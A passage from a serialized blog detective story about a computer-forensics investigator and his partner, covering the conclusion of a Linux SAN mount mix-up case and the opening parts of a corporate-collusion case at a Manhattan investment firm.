**[ Note to readers who aren’t too UNIX-savy - The ‘man’ page for fstab describes fstab as: “The file fstab contains descriptive information about the various file systems. fstab is only read by programs, and not written; it is the duty of the system administrator to properly create and maintain this file. Each filesystem is described on a separate line; fields on each line are separated by tabs or spaces.”

In other words, this file tells the computer which filesystems are mapped to what devices, the filesystem used, what options are to be used when mounting (like read-only), and how the system file checker should treat the filesystem.

Example:

/dev/md0 /home ext3 defaults,usrquota,grpquota,errors=remount-ro 0 1

In our example, /dev/md0 is a RAID device. /home is a directory (mount point) where we want the system to put the contents of /dev/md0. Ext3 is the journaled filesystem of choice for this example, and we want the system to mount the filesystem with several options like quota. The fifth field is used to tell the system if the ‘dump’ utility should be used (man ‘dump’ for more information on dump), and the sixth field tells the system which order the filesystems should be checked on boot.

Knowing this, we return to our story! ]**

Dunnit’s fstab file looked very normal for a linux workstation:

/dev/hda3 / ext3 defaults 1 1 /dev/hda1 /boot ext2 defaults 1 2 /dev/hda2 /home ext3 defaults 1 2 /dev/hda4 swap swap defaults 0 0 /dev/fd0 /media/floppy auto pamconsole,exec,noauto,managed 0 0

“This is interesting. None of the SAN volumes are mounted at boot time. That’s a bit unusual for someone that stores all their precious data on a SAN, right?” I queried.

“Hmmm. I agree, boss. So the fun part is going to be how do we locate what SAN resources homeboy was using?” Scrap responded.

“Well, if he was manually mounting and unmounting the stuff as needed, then it would be in a shell history file somewhere. I just realized that I haven’t looked at those just yet.” I muttered. I quickly scanned the /etc/passwd file to see what login shells were used by any active accounts.

“Looks like this is a bash house.” I joked as I scanned the file. Every account (including root) used /bin/bash as their login shell.

I immediately scanned the Encase image for .bash_history files and located two. One was located inside /root, root’s home directory - and the other was in /home/jdunnit.

A quick scan of /home/jdunnit/.bash_history showed nothing regarding the SAN. When I dumped the /root/.bash_history file, both Scrap and I giggled like school girls.

Filesystem mount commands.

Lots of them.

46950-061031-386635-17

Source: archived original

Part IX · Nov 7, 2006

“Look at all those glorious mount commands.” Scrap said as his eyes scanned the .bash_history file. “I have a theory…”

Scrap pushed me aside and looked at the /var/log/lastlog entry.

“Hmmm.” he mumbled.

“We are on the same page.” I said with a smile. “You’re thinking that Dunnit shuts his workstation down every day when he’s done. After a fresh boot in the morning, he’s manually mounting the SAN volume… probably following directions written down on a napkin somewhere, right?”

“Bingo boss.” Scrap replied, touching an index finger to his lips. “You know, after working in a number of academic environments I’ve come to expect stuff like this. It’s obvious that the vendor came in here, set the equipment up, gave them a book and took off.”

I scratched the back of my monkey neck in agreement. “Not to mention that campus I.T. probably doesn’t know about this SAN, and I doubt they have access to it at all. So, Scrappy-San… what’s your theory behind why the SAN volumes aren’t mounting at boot?”

“Hmmm.” he mumbled again. “It could be a number of things. Security through obscurity? Problem with kernel modules identifying devices at boot? It could be a number of things. I wonder if Kiltlifter would know.”

I chuckled. “Scrap, Kiltlifter told me on the phone that he can barely login to his workstation. He swears up and down that he can see the ‘SAN’ on his workstation and Dunnit’s stuff is gone, hence our spectacular appearance here. Wanna hear my plan?”

Scrap’s eyes widened into bloodshot marbles. “Uhhh, let me think. YES.”

“Here’s the plan. I need you to wander over to Kiltlifter’s office and find out what he’s mounting on the SAN. I’m going to finish looking through the system logs and see if I can’t spot some kernel messages from when he actually mounted his filesystems. With this knowledge, we’ll need to make a command decision on imaging the appropriate SAN volume or perhaps mounting it read only from a forensically sterile linux boot CD. Sound good so far?” I queried.

“Spot on.” Scrap said as he wandered towards the door. “And no, I’m not getting you more coffee.”

Several minutes later I was perusing the /var/log/syslog file on Dunnit’s workstation. I noticed that the HBA was being found at boot:

** Sep 6 20:19:58 localhost kernel: QLogic Fibre Channel HBA DriverOct 6 22:19:58 localhost kernel: ACPI: PCI Interrupt 0000:02:0b.0[A] -> GSI 37 (level, low) -> IRQ 3 Sep 6 20:19:58 localhost kernel: qla2300 0000:02:0b.0: Found an ISP2312, irq 37, iobase 0xe0002000 Sep 6 20:19:58 localhost kernel: scsi0 : qla2xxx Sep 6 20:19:58 localhost kernel: qla2300 0000:02:0b.0: Configuring PCI space… Sep 6 20:19:58 localhost kernel: qla2300 0000:02:0b.0: Configure NVRAM\ parameters… Sep 6 20:19:58 localhost kernel: qla2300 0000:02:0b.0: Verifying loaded RISC code… Sep 6 20:19:58 localhost kernel: qla2300 0000:02:0b.0: Waiting for LIP to complete… **

That’s refreshing. Farther down in the log was a treasure trove of information on what volumes were found.

** kernel: Attached scsi disk sdb at scsi1, channel 0, id 0, lun 0 […] kernel: Attached scsi disk sdo at scsi1, channel 0, id 1, lun 2 **

The kernel had found resources from /dev/sda (the first volume) to /dev/sdo (the last volume). That’s quite a few volumes to look through.

I scribbled this information down on my notepad.

ring

I glanced down at the screen of my Treo. It was Scrap!

“Chief, I’m here with Kiltlifter. It would appear that his workstation is mounting /dev/sdb as /mnt/san. It’s mounting it automatically at boot.” Scrap said with Kiltlifter mumbling something in the background.

“What is Kiltlifter saying in the background?” I asked.

There was a brief pause on the phone as Scrap attempted to relay what he was hearing.

“Kiltlifter was just rehashing what he told you over the phone about the contents of /mnt/san/dunnit being empty.”

I raised an eyebrow.

“Scrap, dump Kiltlifter’s /etc/fstab file and /var/log directory onto a thumb drive and get back over here.” I barked.

“Huh? Uh, okay. Any message for Kiltlifter?” Scrap asked.

“Not a word.”

94673-061107-863869-65

Source: archived original

Part X · Nov 13, 2006

“So much for a sunny day.” Hugo thought as he felt raindrops fall onto his face from the darkening sky above.

Dunnit was perched on a nearby cement planter and staring directly into the ground with a pouty look on his face.

“James, just come back to the university with me and we’ll have a private meeting with Kiltlifter and voice your concerns. He’ll listen, I swear.” Hugo begged.

Dunnit continued to stare into the ground as he shifted his weight from one side of his butt to the other.

“I don’t want to.”

Hugo sighed. This was becoming more frustrating than necessary. For a few seconds, he actually considered climbing back into his car and leaving Dunnit to the rain and frequent pigeon drippings.

Hugo pulled a small cigar from his coat pocket and searched his pockets aimlessly for a match. With a quick flick of his wrist, the match exploded into a small fireball and created a glowing red cherry on the end of his cigar.

“He’s just going to keep trying to kill me.” Dunnit mumbled under his breath.

“What?” Hugo said amidst a cloud of cigar smoke. “What’s that supposed to mean?”

“WHAT DO YOU THINK IT MEANS?” Dunnit screamed.

Hugo was no stranger to dealing with aggravated persons of interest. He walked a few paces away from Dunnit and opened his cell phone.

“Chief? Hugo. I’m staring at Dunnit. He keeps mumbling about Kiltlifter killing people and refuses to go back with me. This guy is not stable.” Hugo whispered.

“Great.” I replied. “Look, Scrap and I are making progress on our end. We may be able to complete the assignment without his help. I suggest calling Kiltlifter and letting him make the call.”

Hugo paused for a moment and glanced back at Dunnit, who was erratically scratching his face with both hands.

“That dude got some bad aftershave, or he’s freaking nuts.” Hugo said.

“Huh?” I asked.

“Nothing. I’ll call Kiltlifter and play babysitter.” Hugo said as he hung up and dialed Kiltlifter.

No answer. It was time for a command decision.

“James.” Hugo said as he approached Dunnit. “How about I take you back to your sister’s house?”

Dunnit lifted his head slowly and fixed his eyes on the cigar in Hugo’s hand.

“Okay. But I need to eat first.” Dunnit responded as he stood up.

Progress at last!

Hugo and Dunnit sat down at a nearby cafe where Dunnit ordered three breakfast entrees and drank nearly an entire pot of coffee. During the meal, Hugo questioned Dunnit on a few items that I had mentioned to him on the phone.

“James, are you working on some private projects for that pharmaceutical company?” Hugo inquired.

Dunnit looked up from his eggs.

“Yes. I’ve done them by myself. You know, I used to have a staff at one time. They would have been a big help on the moonlighting work.” Dunnit stated as he chugged another mug of coffee.

“Used to? So you and your staff were working on university work and private projects? Isn’t that a conflict of interest?” Hugo asked.

“Nah. It’s all legal as long as I don’t work on them at the university lab. The projects were ‘alpha’ and ‘beta’, both dealing with chemical therapy. Can you imagine going through chemical therapy for a cancer and not having your hair fall out? Not being sick all the time? Nevermind. Anyway, after my staff left, nobody wanted to work on the private projects with me so I was stuck with all the work.” Dunnit replied.

Hugo raised an eyebrow.

“What happened to your staff? Budget cut?” Hugo queried.

Dunnit let loose a hearty belly laugh.

“Hell no. Kiltlifter fired them from the university and made it look like it was my idea!” Dunnit said angrily.

“I don’t understand. Why would he do that?” Hugo asked.

“Because they didn’t want to play ball with project ‘charlie’. ‘Alpha’ and ‘beta’ were improvements to existing treatments. ‘Charlie’ is revolutionary. It’s a ‘smart’ treatment that knows how to find the right cancer cells and immobilize them. It’s freaking brilliant.” Dunnit bragged.

“Put the pieces together for me, James. I still don’t understand.” Hugo begged.

Dunnit looked annoyed as if he were trying to explain burping to a grade schooler. “Good grief. Kiltlifter has an obligation to the university to make as much money from research as possible. He had no control over ‘alpha’ or ‘beta’ and it drove him nuts because he saw them as competing treatment products. It’s all about cash. Kiltlifter came to the realization that the only way to make ‘charlie’ more valuable was to make ‘alpha’ and ‘beta’ irrelevant. In doing so, he wanted me to use portions of the research done for ‘alpha’ and ‘beta’ for ‘charlie’. However, there’s a huge problem.”

Hugo waited patiently for Dunnit to continue. “And?”

Dunnit wiped his mouth with his napkin and leaned forward in his seat.

“The new version of ‘charlie’? It doesn’t work.”

25525-061113-172386-96

Source: archived original

Conclusion · Dec 4, 2006

“You want me to what?” Hugo asked for the third time during our phone conversation.

“Bring him here. Scrap and I just wrapped the technical side of this case up. It’s going to be up to Dunnit to wrap up the human side.” I said.

“Chief, he doesn’t want to come back. Well, unless…” Hugo said, drifting off into a whisper.

“Unless what?” I demanded.

“If you can get Kiltlifter to apologize to Dunnit, he might just come back. I know for a fact though that he’s not going to magically appear at the university before then.” Hugo replied.

“Okay, keep an eye on him and tell his sister what has happened. Maybe she can talk some sense into him.” I hypothesized.

“And tell her I said ‘hi’!” Scrap barked from a location behind me.

I turned my attention to Kiltlifter’s workstation. It was identical to Dunnit’s, and sat proudly on Kiltlifter’s desk amongst a pile of neatly organized papers.

“Shall I power it up, boss?” Scrap asked as he sat down in Kiltlifter’s chair.

“Exactly as you did before when you two were looking for Dunnit’s files on the SAN.” I said.

Scrap pressed the power button on the workstation and the power supply fans spun to life. In a few moments, the monitor glowed with the familiar boot messages of Gentoo Linux and eventually a login prompt.

“Here goes nothing!” Scrap joked as he logged in with Kiltlifter’s credentials.

“Great. Look at /mnt/storage please.” I asked.

Scrap changed the current directory to /mnt/storage and performed a ’ls’ command to list any available files.

There were none.

“See. This is exactly what happened last time, man.” Scrap whined. “What exactly am I supposed to be seeing, Obi Wan Chimp-nobi?”

“Open up /var/log/lastlog. Grep for ‘/dev/s??’ and tell me what you see.” I instructed.

Scrap performed the command and was greeted with a list of every hard drive device in the SAN.

“Okay, still not seeing it man. Maybe you should use your ‘force powers’ and stir me up a latte and a blonde named ‘Bambi’?” Scrap cracked. “Seriously, what am I supposed to be seeing?”

“Nothing yet, my impatient marsupial. Pop in the thumb drive that I copied Dunnit’s /var/log directory to. Do a ‘diff’ of Kiltlifter’s /var/log/lastlog and Dunnit’s /var/log/lastlog. Now what do you see?” I asked.

Scrap’s fingers whipped around on the keyboard and in a matter of seconds he was looking at the output of the ‘diff’ command.

“Holy needle in a haystack. No way! No fricking way!” Scrap cried, nearly falling out of the chair with laughter.

“Now you see it! Although both machines are identical in every way aside from the /etc/fstab entries, for some strange reason that can only be attributed to the Linux kernel and/or modules, Kiltlifter’s machine assigns /dev/sda to a different, empty volume on the SAN!” I exclaimed.

Scrap was laughing so hard he was turning red.

“You mean to tell me that ‘X’ out of 10 times that Kiltlifter boots his workstation, his /mnt/storage partition is going to be pointed at the wrong volume? And you’re telling me that because of this, ol’ Kiltlifter assumed that Dunnit had wiped the SAN volume and fled town? Oh man, this is rich!!!” Scrap wailed.

I grinned. “That’s exactly it. It didn’t hit me until I paid attention to the boot up kernel messages. As joyful of an occasion as this may be, we only have half of the equation solved. Now Hugo needs to get Dunnit back here and they need to do some serious talking.”

“Yeah, yeah. So when do we get to tell Kiltlifter? I can’t wait to see the look on his face!” Scrap said.

“No time better than the present.” I said as I picked up my cell phone and dialed Kiltlifter’s cell phone.

Conclusion:

Scrap and I spent a good deal of time with Kiltlifter explaining the technical details behind his ‘snafu’ with the SAN. After the facts were laid out, Kiltlifter agreed to do what was necessary to make Dunnit feel comfortable enough to return to the university. Hugo played mediator between Kiltlifter and Dunnit and talked through most of Dunnit’s issues.

After consulting with an attorney, Dunnit parted ways with the university and is currently exploring private research on what would have been ‘project charlie’. Projects ‘alpha’ and ‘beta’ are currently distributed by a large pharmaceutical company in the United States and Europe and play an active role in battling several types of cancers.

This case is a perfect example of how lack of technical expertise and poor investigative work on the client’s part turned into something much larger than needed. Scrap and I recommended to Dunnit that they work with Haystack to resolve the volume mounting problems and explore an adequate backup solution. We also performed a brief risk analysis on the network and advised Kiltlifter that the network access controls were quite lacking.

One of my earliest mentors used to say “No matter what the subject matter, the persons involved, the crime committed, or the resolution found, you can never predict human nature. It’s the most random element in the universe, and it was conveniently left off of the periodic table.”

He can say that again.

71706-061204-634194-42

Source: archived original

Redux · Dec 7, 2006

I’ve had some interesting e-mail responses on this case, and I was surprised that none of the linux wonks that read my blog figured out how Kiltlifter’s workstation was incorrectly mounting volumes on the workstation.

I peppered the case file entries with clues. I’ll throw a few specifics out, and let you guys discuss them. Perhaps I should have gone into more detail in the case file entries, but part of my goal in writing these is to make everyone think very hard and apply your unique experiences.

The workstations were running Gentoo Linux. How is Gentoo different than other Linux distributions? (Think of how Gentoo is initially installed and configured.)
The vendor installed the SAN and literally ’left’. There was no IT support. Kiltlifter and Dunnit had basic linux administration knowledge.
The Linux kernel (and modules) have a tendency to assign device IDs “as they are found”. Depending on how the hardware responds to certain requests, identification can vary. How could this have played a part?
This was (relatively speaking) a small research lab (high security area) with few researchers, few workstations, and few clues. Could this have played a part in how the network and SAN were installed and integrated?

A few of you have made some good points which got me thinking that this case requires a little more frosting on the cupcake. I certainly don’t want to leave anyone confused.

Discuss!

Chief

80153-061207-718666-50

Source: archived original

23. Case of the Ethical Executive

Wed, 13 Dec 2006 00:00:00 +0000

Part I · Dec 13, 2006

“Hey, watch it!” Scrap yelled as he quickly jumped out of the way of an accelerating New York cab. “Is everyone in Manhattan in a freaking hurry all of the time or what?”

“Maybe he didn’t like your shirt.” I joked as I pointed to Scrap’s chest which proudly advertised a New Jersey sports franchise.

Scrap and I were walking down the sidewalks of the Big Apple searching for the offices of our newest client, Eastern Equitable Equities, and taking in the big city sights and smells.

“Okay, we’re lost. Let’s grab some sidewalk and look at those directions again.” I directed as I crouched down near the doorway of a shop under renovation.

“Is that urine I smell?” Scrap asked as he sniffed the air around him. “Dude! It IS urine!”

“I turned my head to see what Scrap was pointing at. Sure enough, two feet from my laptop bag was someone’s recent contribution to the New York recycling program.

I laughed at Scrap and examined my printout of the directions to EEE.

“Ah. We’re one street off. Stopping for that coffee screwed up our pace. According to this map, they are located in that grey building over there.” I said, motioning to a large building with my paw.

“Is it a urine-free building?” Scrap whined.

I rolled my eyes and began to briskly walk towards our target.

Moments later we were in an elevator and a few floors from meeting our client.

“Tell me again why you dragged me several thousand miles to this place?” Scrap asked.

“It’s the usual gig. Computers, deception, lies, and probably some type of financial loss to the client…” I trailed off as the elevator doors opened.

“And babes!” Scrap whispered as we approached the receptionist’s desk.

“Mr Wreed is expecting you. Please follow me.” the receptionist said as she escorted us down a berber-carpeted hallway. With a soft introductory rapt of her knuckles on one of the doors, she opened both doors to reveal a man in a very expensive suit and a wide smile.

“Chief! It’s so nice to meet you! I trust that the plane ride was enjoyable? Please, sit down. I don’t believe I’ve met your associate?” the fifty-ish gentleman said as he extended his hand towards Scrap.

“Mr. Wreed, this is my associate Scrap. He’ll be assisting on this investigation.” I said in a professional tone.

Wreed sat down behind his desk and shuffled through a few files on his desk until he found the one he was looking for.

“Well, I have to say this is quite the quandary. As I explained on the phone, I am actually the co-CEO of EEE. The other CEO, Mr. Wahlberg has no idea that you’re here and I’d like to keep it that way. As a matter of fact, only two people in this entire company know that you’re here. Myself and Mr. Edson, our General Counsel and Senior Vice President. Shall we dig into the facts of the matter?” Wreed asked while flipping through papers and without any eye contact.

“Please.” I replied, shooting a quick glance towards Scrap who was exhibiting nicotine withdrawal symptoms.

“To put things simply, I need you to find me a date.” Wreed said.

“I’m sorry, you want us to get you a date?” Scrap blurted out shortly before I tapped him with my shoe in a stealthy manner.

Wreed chuckled. “Not a girl, Mr. Scrap. A date. The kind you’d find on a calendar.”

“And this date is significant because?” I asked, troubled that this conversation was nowhere in my notes from our phone call.

“Because the date I’m looking for is the date that my co-CEO is planning on having me terminated.”

1100-061213-918236-700

Source: archived original

Part II · Dec 27, 2006

Wally Wahlberg sat at his breakfast table in the luxurious Manhattan apartment that he shared with his wife and two daughters. He had carefully placed himself at the table so that his back was towards the kitchen door. It was his birthday and he knew that the kids had a surprise waiting for him.

“Happy birthday, daddy!” yelled the fair-haired duo as they placed a construction paper birthday card in front of him, narrowly missing his half-eaten eggs and toast.

Wally smiled and gave each of the girls a kiss. He enjoyed being a father and a husband more than anything in his life. He glanced at his diamond-encrusted wristwatch and leapt from the table just as the familiar honk of the Lincoln town car blared outside the window.

“Daddy is late! But I’ll see you two princesses after work, okay?” Wally exclaimed as he ran out of the front door, nearly knocking his wife to the ground.

“Slow down there honey, you’re going to hurt somebody! Did you get the letter from…?” Wanda said as the front door closed in front of her.

“I guess not.” she mumbled as she wandered into the kitchen to get the girls ready for their day at the local public elementary school.

“The lumbering ox just can’t seem to meet market expectations.” Sinjin said as he shook his head. “I’ve been watching National Communicators for years, and these guys move slower than my grandmother after that folding couch accident.”

Sinjin was the most senior of the equity analysts at EEE, and had an impeccable reputation in the financial markets. If he so much as burped while talking about a company, their stock, or future projects, that company could find their stock trading at a much lower price the following day. It was a lot of responsibility, but he was used to it. He really was the best, but you’d never hear him bragging about it.

beep

The familiar and regularly bothersome beep of his Blackberry phone interrupted his thoughts. He glanced at the screen to find a message from one of EEE’s CEOs on his screen.

“My office. Twenty minutes. Don’t be late. WW”

A stabbing pain went through Sinjin’s stomach. Was he in trouble? Was he getting promoted? Did Wally finally find out who had been sneaking into the executive washroom to enjoy the triple-ply bathroom tissue? His hands began to shake as he put the Blackberry back into the case on his belt and looked around on his desk for his antacid tablets.

“Mr. Wreed, I’m a bit confused. When we talked on the phone, you mentioned that there was some impropriety occurring amongst some staff members that involved financial matters. You never touched on this.” I said as I flipped over to a fresh page in my trusty notepad.

Wreed loosened his tie and sat back in his chair. “I apologize, but a great deal of information has come to me since our conversation and the beginning of this engagement. Allow me to explain.”

“Please.” I begged.

“Are you familiar with a company called National Communicators?” Wreed asked.

Scrap awoke from his nap and piped up. “NC? Those guys are into everything. Cell phones, data services, dial tone, you name it.”

“Very good, Mr. Scrap. They are quite the behemoth. They are so big, in fact, that the new executive team that was hired on a few months ago has had a very hard time steering them towards growth. Their stock has been flat for years. However, recently there has been a lot of communication between EEE and NC. Well, there has been a lot of communication between Mr. Wahlberg and Mr. Whet, the CEO of NC. I was astounded that Wahlberg would be attempting to get NC’s business for our money management division without my knowledge and called him on it. He told me that he and Whet are old college buddies and there was nothing to talk about.” Wreed explained.

“I’m following you.” I said. “So where does this take us?”

Wreed sat up in his chair and threw his pen on his desk.

“I want you to find out what is really going on between Wahlberg and Whet, who on my staff is involved, and you need to do it quickly. I firmly believe that Wahlberg is cooking up a deal that will eject me from the company and hurt a lot of other people in the process.” Wreed said tensely.

“Like who?” Scrap asked.

“A few hundred thousand investors.”

33794-061227-255074-40

Source: archived original

Part III · Jan 10, 2007

Sinjin grabbed his stomach as he pressed the button on the elevator control panel. He didn’t like roaming around on the executive floors. Not one bit. He didn’t need any additional pressure in his life. Between the pressures of having a family and making decisions that make and break the financial futures of companies, he was at his stress limit.

ding

The elevator doors opened and Sinjin rushed by the nosey executive assistant and proceeded down the carpeted hallway. With a deep breath and one last grab of his stomach, he knocked nervously on the door marked “Mr. Wahlberg CEO”.

“Come in.” boomed a voice from inside the office. Sinjin almost wet himself.

“Hello, sir.” Sinjin squeaked as he took a seat in front of Mr. Wahlberg’s desk.

“Sinjin, Sinjin, Sinjin. How are you? You are doing an amazing job. Your call on HP was right on the money, literally! I’m very pleased with your performance and so are our customers.” Wahlberg said with a smile.

Sinjin was caught completely off guard. He had never received such gracious compliments from a member of the executive staff before. It unnerved him.

“Thank you, sir. I try my best.” Sinjin stammered.

“That you do, Sinjin. How is your wife and those handsome sons of yours?” Wahlberg inquired.

Sinjin started to relax and replied almost melodically “They are great, sir. Thanks for asking. And your wife and daughters?”

“Fine! Fine!” Wahlberg began. “You know Sinjin, my daughters just completed their first year at the Cheshire school. Isn’t that the school that you and your wife wanted your sons to attend?”

“Yes, that is the school. It is so exclusive and expensive, but it is so much better than the public schools. My wife dreams of the day when our sons can be accepted.” Sinjin boasted.

Wahlberg’s smile grew bigger as he sat back in his chair. “Did you know that Mr. Whet over at NC sits on the board of Cheshire?”

Sinjin laughed inside. Of course he knew that, he knew everything about NC and the new executive team.

“Yes sir. I was aware of that.” Sinjin replied.

“Of course you were. You are the best. What was I thinking? Sinjin, what if I told you that Mr. Whet wants your two sons to start at Cheshire next semester? What if I told you that both your sons names will appear on the next selection committee roster as ‘approved’”? Wahlberg asked.

Sinjin shuffled in his chair before he replied.

“I would say that you have my attention.”

“Dude, I HATE being rushed. This is not cool.” Scrap moaned as he stretched out on the couch in our hotel room. “I mean, I can understand why the dude is paranoid and there’s a lot on the line supposedly, but he wants us to scrape EVERY workstation that his staff uses and give him a content analysis in seven days? Please!”

I raised an eyebrow in agreement and sipped on a luke warm cup of possibly the worst hotel coffee I had ever had.

“Be that as it may, we have the job assignment. It’s not like we’ve never done this in a hurry before. According to Wreed’s ‘person of interest’ list, we’re talking ten computing devices and ten cell phones. Lucky for us, they are all the same make and model.”

Scrap huffed and threw a pillow across the hotel room floor. “Well, I guess it won’t be that bad. Did you make up the keyword search list yet?”

I popped open the lid of my powerbook and brought up a large text file that I had been working on.

“I think that it’s close. I have all of the names of interest, client names, phrases, everything that Wreed instructed us to look for. I’m just impressed that he got his staff to give up their cell phones that easy.” I said, raising both eyebrows this time.

“Yeah, how exactly DID he do that?” Scrap asked.

“He told his staff that the corporate account password for their cell phone provider was stolen, and until the vendor had their security stuff squared away he was confiscating the phones. Brilliant.” I replied.

Scrap rustled through a stack of papers near my powerbook. “These desktops won’t be too bad. All of them are running Windows 2000, attached to the corporate domain, and these cases all have thumbscrews. No screwdriver for me this time.”

ring

“Hey, it’s our pimp… I mean, it’s Wreed!” I joked tiredly as I answered my phone.

“Chief.”

“It’s Wreed. I’m afraid that I need to add one more person to the list of people that I’d like you to investigate. I’m not very happy about this, because I placed a lot of trust in this person over the years.” Wreed said in disgust.

I breathed a sigh of relief. For a second I thought that perhaps yet another paying gig was about to dry up around me.

“No problem, what was the name?” I asked.

“Sinjin Smith.”

50643-070110-423561-21

Source: archived original

Part IV · Jan 24, 2007

I couldn’t see a thing aside from the glowing buttons next to the elevator door that we had just exited. The lobby of EEE had zero lighting and a notably missing security or emergency light.

“I’ve been in better lit bar bathrooms.” Scrap joked as he inched towards the locked lobby door of EEE.

The wheels on Rosco’s transport case squeaked on the freshly waxed floor as I pulled him behind me.

“Card?” I asked the dark, shadowy figure in front of me.

“Uhhhh.” Scrap said with a guttural throat solo as he quickly searched through his pockets. “Yep, got it!”

I could barely make out the card in Scrap’s hand as he raised the card to the card reader. With a quick vertical movement, Scrap ran the card through the machine.

The light on the card reader went from ‘green’ to ‘red’ and a loud beep could be heard.

“Uhhhh.” Scrap said again as he repeated the motion, only to be greeted with the same results and a beeping sound increasing in volume.

“Scrap, turn the card around. The magnetic strip reader is probably single-sided!” I said urgently.

Scrap carefully rotated the card in his paw and repeated the vertical motion.

A pleasant chime welcomed the card and the lobby door unlocked with a loud “thunk”.

“See, that went well.” Scrap boasted as he picked up his backpack.

I grunted as I flipped on the lighting for the suite, covering my eyes with a paw to help myself adjust to the lighting level difference.

“Shut up. Get moving.” I ordered. We had approximately nine hours to image as many workstations as possible, and we were bleeding time.

“Alright, we’re going to grab this by level of urgency. Here’s your list. Get Rosco busy. I have to find our care package.” I said as I waved Scrap away.

“Care package?” Scrap asked.

“The phones, man! They are apparently in a large manilla envelope in a file cabinet… somewhere…” I trailed off as I left the lobby and headed down a hallway.

“You’ve got mail!” chimed a familiar voice from Wahlberg’s home computer. His tired eyes scanned his inbox as a frown formed on his face.

“Fricking spam.” Wahlberg whined as he deleted over half of the e-mail from his inbox.

He was halfway down his list of e-mails when he spotted the one e-mail that he cared about more than anything. With a quick flick of his wrist, Wahlberg double-clicked and opened the e-mail.

**From: ludicrousspeed@h0tmail.com To: wwweee@aol.com Su: re: he’s in

Glad to hear that SS meeting went well. Next Q financial is two weeks away and critical. Rest of team understands situation and agrees with your suggestion. I will take care of SS and conjoined twin. Send date asap. **

Wally rubbed his forehead and glanced at the clock on his desk. It was nearly time to tuck in the children for bed.

“Finally! Hey Scrap, I found the phones!” I cried as I found the filing cabinet that belonged to the key that Wreed had provided me. After pausing for a few seconds to collect my thoughts, I inserted the key into the filing cabinet lock and was treated to a friendly “pop” sound as I opened the lock. With a few tugs of the bottom drawer I was staring at a large manila envelope.

I placed the envelope on a nearby desk and emptied the contents. The phones slid neatly out of the envelope and lined up on the daily planner calendar on the desk like small plastic soldiers.

“Motorola. Nice.” I commented as I opened one of the flip phones.

I spent the next few minutes comparing the serial numbers of the phones with the serial numbers and names listed in an e-mail from Wreed. My inspection and verification process went smooth until I came to the bottom of the list.

I had an extra name!

“You look confused, tired, or possibly angry. Something wrong?” Scrap asked as he parked a cheek on the desk near the phones.

“I would say so. The last guy on our list happens to be the greatest person of interest to our employer, yet we don’t have his phone.” I moaned.

“Big deal, boss. We call Wreed in the morning and he ‘allocates’ the phone for our inspection like he did for the rest, right?” Scrap said.

I smiled at Scrap. “Scrap, take a guess at whose desk this is?”

Scrap peered around the desk, his monkey eyes resting on a silver nameplate.

“Sinjin Smith” Scrap parroted. “So?”

“Notice anything unusual on his desk that isn’t on any of the other desks on the lobby level floor?” I asked.

Scrap peered around again.

“Nope.”

I sighed, clearly frustrated with Scrap’s lack of observational skills this evening.

“Scrap, all of the other employees that work on this floor have Motorola phone docks on their desk. And what does Mr. Smith have?” I asked as I pointed to the right side of the LCD on Smith’s desk.

“A blackberry dock that nobody knew existed? Uh oh.” Scrap said quietly.

Time to give Wreed a late night wake up call.

59075-070124-507881-29

Source: archived original

Part V · Jan 30, 2007

“Still no answer?” Scrap asked as checked his beloved Batman watch on his right wrist.

“Nope.” I said with a sigh as I hit the “hang up call” button on my Treo and returned to properly documenting the materials that Wreed has provided me in the envelope, complete with pictures.

Scrap glanced at his watch again. “This is going to be a bit for me. You doing the phones back at the hotel?”

I carefully placed the phones and documents back into the envelope, and then slid the envelope into a larger CoC bag.

“Affirmative. I never know how long this procedure will take. Be sure you clean up after yourself, lock the door and set the alarm like a good little chimp.” I said with a chuckle.

“Okay Mom!” Scrap snapped back while walking towards the machine he was imaging.

Sinjin’s head was pounding. A quick glance at the clock on his night stand showed five o’clock in the morning.

“I’m going to be dead asleep at work today.” he thought to himself as he clutched his writhing stomach with his left arm.

“Are you not well?” came the caring voice of his wife Vidja as she wiped the sleep from her tired eyes.

“I am fine. I must get ready for work.” Sinjin said as he looked around the room for his eyeglasses.

Vidja laid flat on her back on the bed and took a few moments to collect her thoughts.

“Sinjin, you must take the boys to school on your way into the office. They cannot walk to school.” she said.

“Why is that? They will become lazy.” Sinjin queried.

Vidja looked away for a moment. “It is the harassment again. They are threatened every day, and sometimes have things thrown at them. They told me this morning that it’s not just the students anymore, but the people on the street! It is insanity!”

Sinjin closed his eyes and kept the mounting frustration to himself. Being of Indian decent had been hard in this neighborhood after the recent September 11 attacks, and being mistaken for a potential terrorist was insulting to the core.

“I will figure out something, my love.” Sinjin said as he leapt from the bed and headed towards the bathroom.

“Something very soon.”

I narrowly missed hitting the television. With coffee, that is. One would think after all of the years of investigative work under my belt I’d know not to get too drawn into the procedure that I was doing and allow my coffee to get cold. Alas, poor 20 ounces of Columbian goodness, I knew thee for only a short, warm time.

“One phone left.” I told myself as I attached one end of the USB cable to the bottom of the last phone and clicked the ‘Get Phone Data’ icon on BitPIM’s toolbar. After the capture was complete, I exported the data in comma separated value format to a folder on my laptop bearing the serial number of the phone, and then pasted it into one larger Word document for quick and easy searching with my word list.

Wreed was fanatically concerned with any communication to a certain phone number. I did a quick search in the document for the phone number but came up empty handed. I then executed searches for the items in my word list, however I found no matches.

Strange.

I felt like I had just wasted entirely too much time.

“You are taking FOREVER dude.” I complained as I took up a position next to Scrap on the floor of our hotel room. After successfully imaging the hard drives of the workstations into EnCase images the night before, we were painstakingly walking through each image one by one, paying close attention to the results of our word list search.

Several hours and a room service lunch later, things became much more interesting.

“No way. No WAY!” Scrap bellowed as he performed a strange dance on the floor that reminded me of jaguar strangling a baby elk with telephone wire.

“Spill.” I demanded.

“We got a hit on that phone number and a metric ton of those keyword hits! I think we found what Wreed was looking for boss!” Scrap exclaimed.

I glanced down at the filename of the image, and then cross-referenced the serial number of the machine with my inventory list.

“Well, I’ll be.” I mumbled.

Mr. Blackberry himself, Sinjin Smith.

19629-070130-113426-90

Source: archived original

Part VI · Feb 16, 2007

Wreed had literally stopped breathing. The entire time we had been on the phone, he had been mouth breathing into the receiver. The phone line was full of dead, still air.

“Mr. Wreed?” I asked.

“Sorry.” he replied. “I’m just letting what you told me sink in. You’re positive that based on your early analysis that Sinjin is communicating with Wahlberg?”

I took a quick swig off of my water bottle.

“Yes, and Whet too. Scrap is building a timeline of the communications as we speak. From what we’ve seen so far, the communication is happening over his personal webmail account. Experience tells me that the holy grail will be found in his blackberry.”

Wreed sounded like he was humming a show tune, or thinking out loud.

“We only issued those to key personnel. I actually remember Sinjin writing up the requisition request for his. He’s had it quite a while. What do you suggest?” Wreed asked.

